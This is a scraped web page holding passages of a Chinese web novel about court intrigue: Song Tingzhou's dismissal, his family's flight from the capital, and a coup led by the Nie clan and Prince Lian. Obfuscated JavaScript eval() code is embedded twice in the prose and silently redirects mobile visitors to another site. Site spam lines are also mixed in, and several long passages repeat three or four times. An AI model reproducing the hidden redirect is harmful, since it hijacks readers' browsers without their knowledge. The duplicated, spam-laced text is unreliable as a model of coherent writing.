聂川语气漠然“都是些陈年往事了何必再提?” 可能是因为一大早就忆起往昔聂贵妃偏要再提“六弟是 你的朋友正在书荒,快去帮帮他吧 父亲最喜欢的儿子,您这么多的儿女,独说他最像你。无论读书习武,就没有他不擅长的,他若没有死去,定然可以接手父亲的基业,再守国公府的百年荣光…… 聂川站起身来,抬起垂在身侧的拳头,猛砸到身下的椅子上,御用监工匠精雕细琢的木椅,一拳被他拍的粉碎,“够了! 聂贵妃被这巨大的声响惊奇,而后突然冷笑出声,“这么多年,父亲一直以为六弟的死和我有关吧? 聂川隔着纱帘对聂贵妃怒目而视,“难道不是吗?你以为我不知道你在他身边安插了人手?你以为你的那些兄弟们一个个不是伤了就是残了都是意外? 聂川子女众多,从儿子到孙辈,但凡有人敢表露出有才华的模样,不久便会出了事,其中有当今圣上的手笔,有太子的手笔,更有他亲生女儿的手笔。 聂贵妃宫里的宫娥适时在门口小声提醒,“娘娘,国公大人,时辰差不多了。 聂川深吸了口气,又恢复稳若磐石的模样,“贵妃娘娘放心,老臣会助廉王殿下登基。 聂贵妃侧目,五尾凤的侧凤珠钗拂过上了脂粉的脸庞,“既如此,本宫和廉王就仰仗国公大人了。 太子文昭和当今圣上不一样,皇上多思而怯,善钻营却无魄力,当初是靠聂川一手捧上皇位的,想过河拆桥,又没那个本事,柔易拿捏。 可太子心性果决,还没上位就已经算计起来怎么削弱世家,他若是上位,聂家定没有活路。 不论如何,聂川都会将廉王捧上那个位置。 这一点,两人都心知肚明。 定襄国公从会亲殿出来,今早被拖去国师处的宫女正候在宫外,“国公大人,贵妃娘娘近日总派人去打探敬妃娘娘住处,怕是要对六皇子下手。 “不错,不愧是我的好女儿。定襄国公冷笑一声。 定襄国公吩咐道:“你回国公府吧,换你弟弟入宫。 宫女袖中的双手颤了一颤,“是。 —— 宋亭舟常在家,哪怕未告诉常金花,她也琢磨出来不对了。侄儿再怎么也比不上亲儿子,常金花没空去理雨哥儿的婚事,也不敢问孟晚和宋亭舟,自己兀自心忧。 结果常舅母跑的第二天,孟晚突然告诉她要收拾行李准备返乡。 “回老家?三泉村? 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 孟晚笑了,“不然去哪儿,西梧府吗? 常金花又惊又喜,下了炕去忙活着收拾东西,雨哥儿在一旁不知所措。 孟晚翻着手上的册子,一本本递给身边的下人拿去清点,一边对雨哥儿说:“家里要准备走了,你是跟我们回去,还是决定从那两家里挑个人嫁了? 雨哥儿搅着手里的帕子拿不定主意,他走的时候和朋友们都说了,那时候大家都打趣他要嫁到盛京来,羡慕的表情他到现在还记得。 要是就这么灰溜溜的回去,他们肯定会背地里嘲笑他。 但是真的要嫁吗? “表嫂,我知道你聪明,你给我拿个主意行不行?雨哥儿说着眼泪都掉了下来,他这个年纪,什么事儿都没经过,虚荣心和怕找不到好人家的恐惧感来回拉扯,根本什么也不知道。 孟晚将最后一本账本交给枝茂,“那你就听着,盛京的人家都不是好相与的,哪怕是六品京官,没有关系人脉,也不可能留京。 雨哥儿听他肯指点自己,忙抹了眼泪给他倒茶。 “哪怕你留京做了小官夫人,很大概率也镇不住后宅,只能看着丈夫纳妾,跟生了孩子再斗鸡眼似的看妾室碍眼。孟晚说的是实话中的实话。 京中的那些高门大户培养女娘和小哥儿,琴棋书画要懂,理财掌家一样要学,便是学不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宋亭舟穿着一身绯色官服,头戴黑色乌纱帽,虽然跪在大殿上,但腰背依然挺得笔直,并没有半分退却和惊恐之色,“臣已经七年没有返乡,并不知道舅舅表弟所犯罪责,更没有写书信勾结谷阳知县,以求庇护亲人。” 皇上怒极反笑,直接将手里的书信和折子劈头盖脸地砸到宋亭舟身前,“信件在此,上头还有你的官印,你还敢狡辩?” 宋亭舟捡起地上的信,里面的内容果真与承恩伯所说一致,甚至连字迹都与他的字迹相似,下方端端正正的印着顺天府的印章。 饶是如此,他也依旧不松口,掷地有声道:“臣没有写过,更没做过。” “陛下,臣也有本要奏。”出列的是曾经参过宋亭舟的丁御史。 皇上喘了口粗气,“说!” “顺天府尹宋亭舟,上次因为狎妓被禁足在家,却枉顾圣命,公然携其夫郎在花楼中逞威,以官威威胁妓子砸冰开河,赤足在花船上跳舞,以供其夫夫取乐。又命顺天府的衙役乱抓朝廷命官,私下以官员狎妓败私德为由,威胁众官,臣手中有其他一些小官的证词为证!”丁御史满脸都是一雪前耻的快意。 位置靠前的工部侍郎夏恒也不紧不慢的走出来,“陛下,臣也有本要奏。宋亭舟外任西梧府知府期间,多次与太子殿下私下接触,往来密切。其夫郎孟氏开设的珍罐坊,乃太子殿下亲自手书一封,私请宫中瓘玉局工匠至岭南相助。” 夏恒一针见血,“珍罐坊红极一时,价格不菲,当中牟利不知凡几,甚至可以比拟户部每年收上来的盐课!” 户部尚书蔻汶本来还在心惊胆战的琢磨宋亭舟是得罪了哪方神圣,忽听闻珍罐坊是宋家夫郎和太子合开,惊得猛然抬头看去。 不光是他,还有许多人都在不动声色地看着前方脊背绷直如弦的宋亭舟。 “要奏的都出来!朕倒要看看在皇城内,朝堂上,还有哪些是朕不知道的!”皇上盛怒,宋亭舟是他千挑万选的,家世清白,能力出众,其他的倒也罢了,竟然和太子扯上了关系。 珍罐坊是孟晚开得他知道,只是其中竟然有太子的手笔? 他还没死,内官监便已经越过他给太子大开方便之门,是也想着贪图从龙之功吗? 皇上缓缓自龙椅上起身,明黄色的龙袍上用金线勾勒的五爪金龙也随着他的动作张牙舞爪,一把邪火烧得他双目赤红。 帝王俯视宋亭舟宁折不弯的样子,声音低沉,字字含威带怒,“将顺天府尹宋亭舟拿下!即刻革职,交由三法司彻查其罪。如若属实,从重处置,不得姑息!” 第48章 出城返乡 “陛下令臣革职,押送刑部,臣定当遵旨,无有不从。” 宋亭舟恭恭敬敬的低头,主动将乌纱帽取下放在面前的地上,没有多余的腔调,字字沉稳厚重。 “但臣亦有本要奏。” 听到这话夏垣先是心中咯噔一声,怕宋亭舟要临死反扑,他夫郎智多近妖,安南一行怕是已经猜到了什么,这会儿若是被他攀扯,也是麻烦。 岂料宋亭舟并没有参他一本,而是从怀中取出一张长长的名单来,“陛下,丁御史**臣命顺天府的衙役乱抓人,实则臣抓得那些人不过是旁枝末节,他们背后的听香榭才是关键所在。” 他此话一出,殿下便有两个官员神情僵硬,似有顾虑。 定襄国公微侧过身子,瞥向文臣那里的夏垣。 夏垣心领会神,只是步子才迈出去半步,便被都察院左都御史苟正芳抢了先。 “陛下明鉴,宋大人所犯罪责暂且存疑,可西梧府的政绩,和钦州没日没夜的救灾却是真的,还请陛下听他一言。” 当朝头一位,没用的上出动朝廷兵力,就反应迅速的将物资、医者、及时安排到位,未曾让当地灾情扩大半分的。除了宋亭舟,满朝文武再找不出第二人来。 蔻汶也反应了过来,“苟大人所言甚是,陛下,岭南一代明晃晃的政绩不是假的,即便宋大人有错,亦能将功抵过。” 皇上表情有片刻的恍惚,是了,宋亭舟是难得的贤臣,不慕权贵,一心为民。他怔忪间想起,四年前宋亭舟在他面前展开的那一幅幅画卷,当时他满心的赞叹和欣慰。 “说吧。”皇上语调柔和一瞬。 “陛下,早年安南有一屿,以诡丹之术招揽大批富商趋之若鹜,聚敛了大量金银,其中数值庞大,可达百万两白银。” 宋亭舟知道现在很多人都想堵住自己的嘴,便用又快又清晰的声音说道:“屿中有岛主名曰郭启秀,据说早年是临安府之人,可臣曾派人去找过,临安府确实有郭启秀这么一个人,他早年家中落魄,之后一直在临安府辖内的一个村庄里娶妻生子,从未外出过。可见那名叫“郭启秀”的岛主另有来历,臣无用,并未探查到此人来历。” 有些时候,能力太过突出反而坏事,宋亭舟一个清流权臣,若是突然手眼通天,反倒令人忌惮。 皇上一直将宋亭舟的所有陈词听完,脸 上没有过多变化,自从苟正芳提醒他宋亭舟的政绩后,他像是从迷雾中突然惊醒,一直都是一副捉摸不透的深奥表情。 宋亭舟除了那一串名单,还有一本厚厚的奏折呈上,郑瑞从他手中接过去的时候,给了他一个安抚的眼神。 太监无论权势多高,总是令人不耻,倒也没人注意一直低眉顺眼的郑瑞和宋亭舟的眼神交流。 宋亭舟渐渐沉下心,使心绪更加平缓,用沉稳的语调再次开口,“陛下,听香榭坐落在永乐街上,是盛京城中颇具名气的花楼之一,但臣自上次探查后便发现,这座花楼竟汇聚了朝中二十几位官员死心塌地,其中便包括已经死去的前两任顺天府尹,边大人和段大人。” 顺天府尹位置的重要性不可言喻,廉王**自然想插上一手,可越是坐上高位的人,越是不可轻易掌控,在察觉到帝王已然怀疑后,边大人在几近沦陷的间隙了结了自己。 因为边大人死的太过蹊跷,宋亭舟上一任顺天府尹段大人战战兢兢的上了任,他倒是聪明,一边拖着廉王那边的人,一边收集证据。结果不光被廉王这边察觉到,还被皇上发现他与廉王有联系,下场可想而知。 帝王展开那串不长不短的名单,又闻宋亭舟言中提到的边、段二人,终于变了神色,目中翻涌的惊怒敛入眼底,不动声色地打量着殿内众臣。 为首的定襄国公,缺了空的太子和廉王,还有早早被他打发到封地的勤王。 他算计的人不少,觊觎他皇位的人更多,没想到熬到现在,还是栽了,只是不知是栽到了谁的手里。 “你说之事朕自会派人一一探查,至于你……”帝王垂眸俯视宋亭舟,犹记当年他在殿上一腔的赤胆忠心。 “念在你在岭南攻击斐然,免你刑责拷问,即日革去官职,解甲归田吧。”皇上重新座于龙椅纸上,往郑瑞递来的文书上,用朱笔批了“革职还籍”四字。 宋亭舟双膝跪在地上已经许久,他俯身叩首,恭声说道:“罪臣,谢主隆恩。” 其余朝臣神色各有变化,或惋惜、或同情、或幸灾乐祸、或是畅意痛快,只有聂川似是感受到事情有些脱离控制,双目中泛起一抹杀意。 看来——不能再等了。 今日又是一个寻常的阴天,云层在低空漂浮,将四周都笼罩成朦胧的模样。所有建筑都仿佛褪去了颜色一般,像一幅陈旧的画卷,连往日气势 磅礴的红墙黄瓦,当下也仿佛被披上了一层薄纱。 高大午门下,五座朱红色的大门都紧闭着,只有其中一侧掖门被人从里面推开。 两名侍卫神情冰冷的目送宋亭舟走出掖门,倒是一位慈眉善目的大太监客客气气的送别,“宋大人一路保重。” 宋亭舟没了乌纱帽,光是一身绯色朝服倒是显得年轻气盛,他回了一礼,“多谢李公公送别。” 皇城跟下眼线无数,他们只叙了句旧,再没说别的。 蚩羽驾车后在外面,见宋亭舟出来,忙上前扶他,“大人,你没事吧?” 宋亭舟跪久了,膝盖略有不适,还没到要人搀扶的地步,但他垂着头,好像一蹶不振似的,任由蚩羽连扶带拽的将他拖上马车。 等登上自家马车,宋亭舟神情眉眼间的愁苦之色一扫而去,他压低声线询问:“家里可收拾妥当了?” 蚩羽把马车赶成飞车,同时不忘警惕左右,“放心吧大人,夫郎已经准备妥当,就等你一起出城了。” 宋亭舟神态紧绷,哪怕出了皇宫也没有半点松懈。 很快蚩羽就发现了身后巷子里似乎有什么动静,“大人!” “不用管,尽快回家。”宋亭舟巍然不动。 这一路上似乎跟上他们好几批人,也可能是早就守在他们的必经之路上了,可没有一人能刺杀到宋亭舟面前,都被另一伙人给拦了下来。 巷子中,乐正崎穿着一身黑衣,刀尖上泛着新鲜的血色,目送宋亭舟的车驾离开他的视线,头也不抬的带着大批高手往前走,处置下一**。 宋家门口一进院的门厅内停着五辆马车,阿砚通儿和枝繁枝茂坐一辆,常金花、和槿姑黄叶坐一辆,雨哥儿和苇莺云雀坐一辆,剩下两辆马车装的都是孟晚清点出来的行李。 这会儿他正心神不宁的在门口来回踱步,他少见如此情绪外露到顾不得常金花担心,因为他心里也没有太大成算。 虽然朝堂上还有苟正芳和王瓒他们在,但若是宋亭舟被抓进大狱,那就要做两手准备,先把常金花和阿砚送走,再想办法让蚩羽也进牢里盯着。 “夫郎,蚩羽驾车回来了。”桂诚在门口喊道。 孟晚忙走出大门,果然是蚩羽将马车驾得飞快。 他一把将大门整个推开,门槛早已经卸掉,“都把 马车架出来,桂诚桂谦,家里就交给你们二人看顾了。” 桂诚桂谦忙道:“夫郎尽管放心,你们走后我俩就把大门关紧,任谁来都不给开门。” 孟晚头也不回的往外跑,蚩羽勒停马车,车内宋亭舟出来一把拉起孟晚,两人在车里抱做一团。 蚩羽等他们坐稳,立即调转车头,宋家另外五辆马车跟在后面。 踏踏的马蹄声在街边回荡,不及孟晚跳动不停的心脏。 “如何?可受刑了?”他挣脱宋亭舟的怀抱,一个劲儿的在他身上乱摸,生怕他缺胳膊少腿的。 宋亭舟直接把他手塞到自己衣裳里,让他感受自己紧实的皮肉,“没有受刑,暗示到这个份上,皇上应该已经明了。蚩峟可能没敢下猛药,殿下虽然有时暴躁易怒,但并不像失去理智的样子,最后还是念着我往日功绩,刻意将我放走了。” 孟晚一瞬不瞬地盯着宋亭舟,眼底的热意憋了许久,这会儿才敢任由眼泪流淌下来,他是真的怕了,嘴唇都有些颤抖,“还好没出事。” 宋亭舟把衣裳系好,搂着他说:“晚儿,你听我说,出城后便带娘和阿砚回乡,等着我去接你们。” 孟晚把他胸口的布料当帕子,蹭了两下后哑声应下,“好,上次那拓来我已经全都交代好了,皇城附近所有朝廷的驿站里都有我们的人,一路上你要人要钱只管去驿站,聂川的人传不出去消息。只是通州附近切莫大意。” “我,我们不是都说好了吗?这些事我都知晓了,不必过多惦念。”宋亭舟把他抱得很紧,又想看孟晚的脸,只好让怀里的人先抬头,把滚烫的唇印上去,先让他吻个痛快。 快要出城的时候,蚩羽瞄着后头,“大人,后面有一队人跟着咱们。” 宋亭舟一只手还捏在孟晚下巴上,喘匀了气才道:“不必理会,走北城门。” 蚩羽不大明白究竟是敌是友,眼睁睁的看着这队人从他们后面,明目张胆的走到了前面去。 北城门的氛围不知为何有些古怪,城门上的守卫仓促换岗,京郊三大营中的五军营悄无声息地把控了城门,正四品佐击将军亲自在北城门守门。 乐正崎夹在一群人中,遮着半张脸走到守城兵面前,“出城。” 守城兵看了他一眼,面带警惕,刚要说话就被人从身后拽开。 “聂将军?” 一位青年将领穿着身银色铠甲,剑眉星目,英气逼人,开口说话的时候甚为霸道:“都滚开!” 这队临时充作守城兵的五军营士兵,左右看看,都痛快的让开了脚步。 青年将军自前头开路,乐正崎夹在中间,后面的蚩羽领着宋家的车队糊里糊涂地跟着,中途并未有人要什么路引和通行凭证。 把人一路送出护城河外,乐正崎才终于出声,“我要去见殿下,城里靠你了。” 青年将军飒然一笑,“放心吧,事成之后去你家吃酒。” 他又对着宋家的马车挥了挥手,“宋大人,一路走好。” 宋亭舟掀开车帘看了他一眼,“多谢聂将军。” 马车顺利离京,出了城后大家都放松了不少,乐正崎直接骑马护在宋亭舟马车一侧。 孟晚掀开车帘问乐正崎,“原来是你啊,刚才那个就是聂鸿飞?” 乐正崎点点头,“不错。” 孟晚还待再问,宋亭舟已经把他拉回去,唇抿成一条直线,“晚儿还有什么要问的。” “真是飞来横醋。”被他搞这么一出,反倒冲淡了即将分开的愁绪。 宋亭舟不觉得自己哪里不对,“你夸过乐正崎容貌出众。” 孟晚捧着宋亭舟的脸左右各亲一口,“早就忘了,谁也没有我家舟郎英俊。” 车外的乐正崎摇头苦笑一声,他侥幸不死,若太子殿下事成,也要去岭南接自己的爱人回家。 有乐正崎带路,他们一路往东北方向走,快到顺义的时候,宋亭舟终于同孟晚分开,下马随着乐正崎进城。 城外自有人接应,乐正崎带的一队高手没有跟他们进城,护在宋家的车队后面,保护孟晚他们一行人返乡。 常金花甚至都不知道宋亭舟中途下了马车,还是在路过一座小镇上休整的时候才反应过来。 “大郎呢?” 孟晚扶她在面摊子里找了个凳子坐下,“夫君还有别的事情要办,晚我们一些回去。” “他是从哪儿下去的?怎么也没说上一声,身边可带了人?”常金花不大放心的说道。 摊主端上两碗素面,孟晚推给常金花一碗,自己挑着面条,“之前就下去了,娘,快吃吧,面一会儿就坨了,咱们在镇上住一晚,明早起来再赶路。” 不能大意,还是要尽早回到昌平才行。 一位青年将领穿着身银色铠甲,剑眉星目,英气逼人,开口说话的时候甚为霸道:“都滚开!” 这队临时充作守城兵的五军营士兵,左右看看,都痛快的让开了脚步。 青年将军自前头开路,乐正崎夹在中间,后面的蚩羽领着宋家的车队糊里糊涂地跟着,中途并未有人要什么路引和通行凭证。 把人一路送出护城河外,乐正崎才终于出声,“我要去见殿下,城里靠你了。” 青年将军飒然一笑,“放心吧,事成之后去你家吃酒。” 他又对着宋家的马车挥了挥手,“宋大人,一路走好。” 宋亭舟掀开车帘看了他一眼,“多谢聂将军。” 马车顺利离京,出了城后大家都放松了不少,乐正崎直接骑马护在宋亭舟马车一侧。 孟晚掀开车帘问乐正崎,“原来是你啊,刚才那个就是聂鸿飞?” 乐正崎点点头,“不错。” 孟晚还待再问,宋亭舟已经把他拉回去,唇抿成一条直线,“晚儿还有什么要问的。” “真是飞来横醋。”被他搞这么一出,反倒冲淡了即将分开的愁绪。 宋亭舟不觉得自己哪里不对,“你夸过乐正崎容貌出众。” 孟晚捧着宋亭舟的脸左右各亲一口,“早就忘了,谁也没有我家舟郎英俊。” 车外的乐正崎摇头苦笑一声,他侥幸不死,若太子殿下事成,也要去岭南接自己的爱人回家。 有乐正崎带路,他们一路往东北方向走,快到顺义的时候,宋亭舟终于同孟晚分开,下马随着乐正崎进城。 城外自有人接应,乐正崎带的一队高手没有跟他们进城,护在宋家的车队后面,保护孟晚他们一行人返乡。 常金花甚至都不知道宋亭舟中途下了马车,还是在路过一座小镇上休整的时候才反应过来。 “大郎呢?” 孟晚扶她在面摊子里找了个凳子坐下,“夫君还有别的事情要办,晚我们一些回去。” “他是从哪儿下去的?怎么也没说上一声,身边可带了人?”常金花不大放心的说道。 摊主端上两碗素面,孟晚推给常金花一碗,自己挑着面条,“之前就下去了,娘,快吃吧,面一会儿就坨了,咱们在镇上住一晚,明早起来再赶路。” 不能大意,还是要尽早回到昌平才行。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16589590|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一位青年将领穿着身银色铠甲,剑眉星目,英气逼人,开口说话的时候甚为霸道:“都滚开!” 这队临时充作守城兵的五军营士兵,左右看看,都痛快的让开了脚步。 青年将军自前头开路,乐正崎夹在中间,后面的蚩羽领着宋家的车队糊里糊涂地跟着,中途并未有人要什么路引和通行凭证。 把人一路送出护城河外,乐正崎才终于出声,“我要去见殿下,城里靠你了。” 青年将军飒然一笑,“放心吧,事成之后去你家吃酒。” 他又对着宋家的马车挥了挥手,“宋大人,一路走好。” 宋亭舟掀开车帘看了他一眼,“多谢聂将军。” 马车顺利离京,出了城后大家都放松了不少,乐正崎直接骑马护在宋亭舟马车一侧。 孟晚掀开车帘问乐正崎,“原来是你啊,刚才那个就是聂鸿飞?” 乐正崎点点头,“不错。” 孟晚还待再问,宋亭舟已经把他拉回去,唇抿成一条直线,“晚儿还有什么要问的。” “真是飞来横醋。”被他搞这么一出,反倒冲淡了即将分开的愁绪。 宋亭舟不觉得自己哪里不对,“你夸过乐正崎容貌出众。” 孟晚捧着宋亭舟的脸左右各亲一口,“早就忘了,谁也没有我家舟郎英俊。” 车外的乐正崎摇头苦笑一声,他侥幸不死,若太子殿下事成,也要去岭南接自己的爱人回家。 有乐正崎带路,他们一路往东北方向走,快到顺义的时候,宋亭舟终于同孟晚分开,下马随着乐正崎进城。 城外自有人接应,乐正崎带的一队高手没有跟他们进城,护在宋家的车队后面,保护孟晚他们一行人返乡。 常金花甚至都不知道宋亭舟中途下了马车,还是在路过一座小镇上休整的时候才反应过来。 “大郎呢?” 孟晚扶她在面摊子里找了个凳子坐下,“夫君还有别的事情要办,晚我们一些回去。” “他是从哪儿下去的?怎么也没说上一声,身边可带了人?”常金花不大放心的说道。 摊主端上两碗素面,孟晚推给常金花一碗,自己挑着面条,“之前就下去了,娘,快吃吧,面一会儿就坨了,咱们在镇上住一晚,明早起来再赶路。” 不能大意,还是要尽早回到昌平才行。 一位青年将领穿着身银色铠甲,剑眉星目,英气逼人,开口说话的时候甚为霸道:“都滚开!” 这队临时充作守城兵的五军营士兵,左右看看,都痛快的让开了脚步。 青年将军自前头开路,乐正崎夹在中间,后面的蚩羽领着宋家的车队糊里糊涂地跟着,中途并未有人要什么路引和通行凭证。 把人一路送出护城河外,乐正崎才终于出声,“我要去见殿下,城里靠你了。” 青年将军飒然一笑,“放心吧,事成之后去你家吃酒。” 他又对着宋家的马车挥了挥手,“宋大人,一路走好。” 宋亭舟掀开车帘看了他一眼,“多谢聂将军。” 马车顺利离京,出了城后大家都放松了不少,乐正崎直接骑马护在宋亭舟马车一侧。 孟晚掀开车帘问乐正崎,“原来是你啊,刚才那个就是聂鸿飞?” 乐正崎点点头,“不错。” 孟晚还待再问,宋亭舟已经把他拉回去,唇抿成一条直线,“晚儿还有什么要问的。” “真是飞来横醋。”被他搞这么一出,反倒冲淡了即将分开的愁绪。 宋亭舟不觉得自己哪里不对,“你夸过乐正崎容貌出众。” 孟晚捧着宋亭舟的脸左右各亲一口,“早就忘了,谁也没有我家舟郎英俊。” 车外的乐正崎摇头苦笑一声,他侥幸不死,若太子殿下事成,也要去岭南接自己的爱人回家。 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“他是从哪儿下去的?怎么也没说上一声,身边可带了人?”常金花不大放心的说道。 摊主端上两碗素面,孟晚推给常金花一碗,自己挑着面条,“之前就下去了,娘,快吃吧,面一会儿就坨了,咱们在镇上住一晚,明早起来再赶路。” 不能大意,还是要尽早回到昌平才行。 第49章 两军对垒 这个早朝没有以宋亭舟被责令返乡而结束,聂川作风狠辣,在意识到皇上很可能已经怀疑那个假郭启秀的手笔,和听香榭控制官员的所谓鲛珠后,他立即发难。 皇城核心由亲军二十六卫组成,其中六卫只负责车马仪仗和修缮宫殿的活计,还有两卫负责举旗、鸣锣、清道等,保障仪式的庄重与秩序。剩下包括龙潜卫和锦衣卫在内的十八卫所,便是皇城内的顶级兵力,加在一起约六千余人。 可任谁也没想到,这十八卫所中,竟然也渗透了聂川的人。同伴的反水令他们措手不及,再加上突然不知何时偷偷回京的廉王,带着五军营闯进皇城,以三万步兵的绝对力量迅速掌控了皇城内外,锦衣卫指挥使还没有反应过来,就被身边的副指挥捅了个对穿。 皇城九门,宫城四门全部被五军营的人严防把守,所有试图硬闯的人皆被斩于高大的朱红色门前。 皇城内还能抵抗的兵力只剩下对皇上忠心耿耿的潜龙卫和部分锦衣卫,他们目的是保护帝王,很快便放弃抵抗直奔乾清宫与养心殿方向。 上了早朝没能回家的大臣们都懵了,事关生命,武将还没如何,文臣们先集中炮火对准兵部尚书,一个平时存在感很弱,面相敦厚的老臣。 “司马大人,你怎么回事?虎符呢?兵部安放的虎符呢!” “没有虎符,京郊三大营敢入城来?” “司马大人,没想到你看着老实,竟然能做出这种事来!” 兵部尚书不善言辞,憨厚的一张脸憋得通红,“调动京郊三大营,不光要兵部的一半虎符……” 还要……还要圣旨!两者缺一不可啊! 然而其他人根本不听他辩解,只管说他狼心狗肺、忘恩负义。 笑话,谁敢去骂聂川,不得叫他当场砍了? 站在司马大人身后的下属,兵部二品侍郎悄悄站到了聂川身后,除此之外还有夏垣和另外两名朝臣。 苟正芳与王瓒等人面色紧绷的站在另一头。 两方对垒,泾渭分明。 聂川亲自带兵将这群朝廷命官“请”去偏殿关起来,独留苟正芳这个今日才显露出来的**,和王瓒几个明面上的**。 廉王登基后反而不好再大动干戈,苟正芳的权势过大,必须现在就将其除去。可惜等聂川带人返回大殿,几个看守的侍卫已经 死去,被看押的**一群人等,也早已不见踪影,前后不超过一盏茶的时间。 “去找,找到立即便取其首级。”聂川冷声下令,随后和廉王汇合,两人带兵一路往宫内杀去,比起几个大臣,还是先将皇上擒住,让他写下传位于廉王的诏书要紧。 —— 另一头宋亭舟随乐正崎进了顺义城,守门的明显也不是当地士兵,十分警惕城外人靠近。 “站住!顺义近日不得入城,速速退去!” 宋亭舟扯下腰间令牌扔过去,“顺天府尹宋亭舟,求见太子殿下。”乐正崎多在暗处,这会儿还是提他的名头好用。 他话音刚落,守城的士兵们瞬间戒备起来,城墙上巡逻的弓兵也搭上了长箭。 守城兵双手一拱,“宋大人稍候,我等去去就来。” 全城戒备,宋亭舟他们就是想走也不可能。 没等上太久,秦艽就亲自骑马过来迎人,“宋大人,许久不见,你终于来了。” 除了下巴上有潦草的胡茬,秦艽语气轻快,还是从前那个散漫的世子,又像是比曾经成熟不少。 “我爹已经带兵将顺义里里外外都防护的严严实实,城里都是咱们这边的人,大人尽可放心。” 宋亭舟这一路见街道上虽然不时有一队队的士兵巡逻,但百姓已经司空见惯,该买卖买卖,该串门闲聊就串门,城中勾栏瓦舍无一闭馆,摊贩走卒也可走街串巷。 如此一派祥和,习惯了那些士兵的模样,定是掌权者安抚过民心。 太子歇在一处寻常的院落里,周围是许多宋亭舟见过或没见过的高手,葛全、秦啸云都在其中,还有一个身形和秦啸云颇为相似的中年男人,眉眼又有几分像秦艽的,想必便是忠毅侯秦啸忠。 “上次匆匆回京一趟,没来得及见一见宋大人。”秦啸忠朗声一笑,显然对宋亭舟早有所闻。 宋亭舟回了一礼,“还没谢过秦将军上次帮忙在宫中寻人。” 秦啸忠一愣,显然已经忘了金嬷嬷的事。 两人又交谈几句,其中秦艽和葛全同宋亭舟最熟,但葛全对他们朝中的勾心斗角全然不懂,秦艽在他爹面前又感觉矮了宋亭舟一头,仿佛此刻的宋亭舟不是他宋哥,而是他宋叔,因此格外束手束脚。 太子也是刚到顺义没多久,出来见宋亭舟的时 候头发还泛着潮气,“既然你们都出城了,怕是聂川已经等不及了。” 众人纷纷见礼,存在感较弱的乐正崎道:“殿下,廉王昨夜已经先一步自通州赶往京郊三大营,宋大人出城途中聂家人已经不管不顾的要**灭口,想来是要准备动手了。” 太子轻笑,“他们犹犹豫豫不敢乱动,孤可不是要帮他们一把吗?只是委屈了宋大人受了这么一番罪过。” 宋亭舟黑沉的眸子里并无自傲,“殿下过誉,多亏殿前有苟大人相助,下官并未受到责罚。” 太子给自己也套上了一套铠甲,“好了,既然聂川已经行动,我们也不能进城太晚,不然岂不是辜负了父皇和皇弟对我的一番谋划?” 他不是拖拉的人,既然人都已经集齐了,便接连下令。 “秦艽,你拿着这半枚虎符去京郊大营,派三千营的人守住盛京城门,围剿皇城。”太子扔过去半枚虎符给秦艽,这个紧要关头,三千营的人定然已经发现五大营的异常,纵使没有圣旨,也不可能不动身,更何况五大营里有聂家的人,三千营里同样也有秦家的人。 秦艽接过虎符,没有多问一句废话,立即便动身离开。 “秦将军、宋大人、阿崎,通州驻扎着聂川的私兵,靠三位前往拦截,决不能让他们踏进盛京城中一步。” 图谋皇位,光靠京郊的五军营自然不够,廉王的底气便是聂川养的私兵。 聂川在军中威严甚毋,想囤积私兵简直轻而易举,但养兵就像是个无底洞,廉王和罗家合作玩了命的敛财,便是为了填这个窟窿。 自从孟晚发现通州附近的驿站有异,太子便瞬间猜到这个攻打盛京的绝佳位置可能已经被聂川占领,只等时机一到便可掌控皇城。 到时候哪怕皇城亲军二十六卫再加上京郊三大营,也抵抗不住聂家最少数万的私军。 秦啸忠收到消息从边境赶来,以边军入卫的名义北上,直逼盛京,便是为了牵制聂家的私兵。 众人纷纷领命,太子抬臂一挥,“二叔,葛全,你们便随孤杀回京城!” —— 宋亭舟跟着秦啸忠领兵直奔通州,同行的还有乐正崎,只不过乐正崎自有去处。 “乐正兄,这是内子的手信,你拿着手信去通州以南的石见驿站,有一瑶族管事叫那拓的,自会听你吩咐。” 宋亭舟从怀中掏出孟晚的手信与他惯用的印章,一齐交予乐正崎,嘱咐他道:“你们带人拦截押送至通州的粮草,没有粮草补给,通州的士兵再忠于聂川,也不得成事。” 乐正崎一直在京谋划,倒是不知道孟晚还有几处驿站有这样的妙用,收下东西便带着一队人马绕过通州预计向南。 “石见驿站是孟夫郎一手肇建的?”秦啸忠在马背上与宋亭舟隔鞍对话。 提到孟晚,宋亭舟冷硬的眉峰微舒,眼底漫开暖意,“不错,内子聪慧,总能想到一些常人所不可及之处。” 秦啸忠若有所思,“怪不得当日太子殿下会把秦艽派去跟你们去岭南。” 顺义和通州距离盛京的路程相近,他们在往南赶路的同时,通州聂家私兵刚收到消息要北上入京,可惜晚了一步,被赶来的秦啸忠和宋亭舟堵在了通州,不得寸进。 秦啸忠带兵打仗是能手,眼见聂家军要不管不顾的开战,好奔赴盛京与聂川汇合,便也做好了浴血奋战的打算。 双方即将动手的时候,宋亭舟却站了出来,他问向出城迎战的将军。 “敢问将军姓氏?” 两军对战留名,不做无名之魂,可对面这人分明穿了一身绯袍,一身文官打扮。 骑在高头大马上的将士眉头一皱,粗声喝道:“某乃辽东参将马鑫,你又是何人?因何在此?” 武将没有心眼,竟是真的实实在在将自己来历给说了出来。 宋亭舟在马上拱手,“本官乃禹国父母官,为的是天下百姓而来。” “这便是谈话技巧,一没透露来历,省得这帮子武将知晓后,报复家人,二扯上家国大义的旗帜,保管将他们忽悠的一愣一愣的。” 此上为孟晚原话,给自己夫君借鉴借鉴。 果然一扯天下百姓,对面人就愣了,“吾等是出兵平皇城内乱,与天下百姓又有何干?” 宋亭舟义正言辞,“军人的**应当刺向敌人的咽喉,而不是对同袍刀剑相向。” 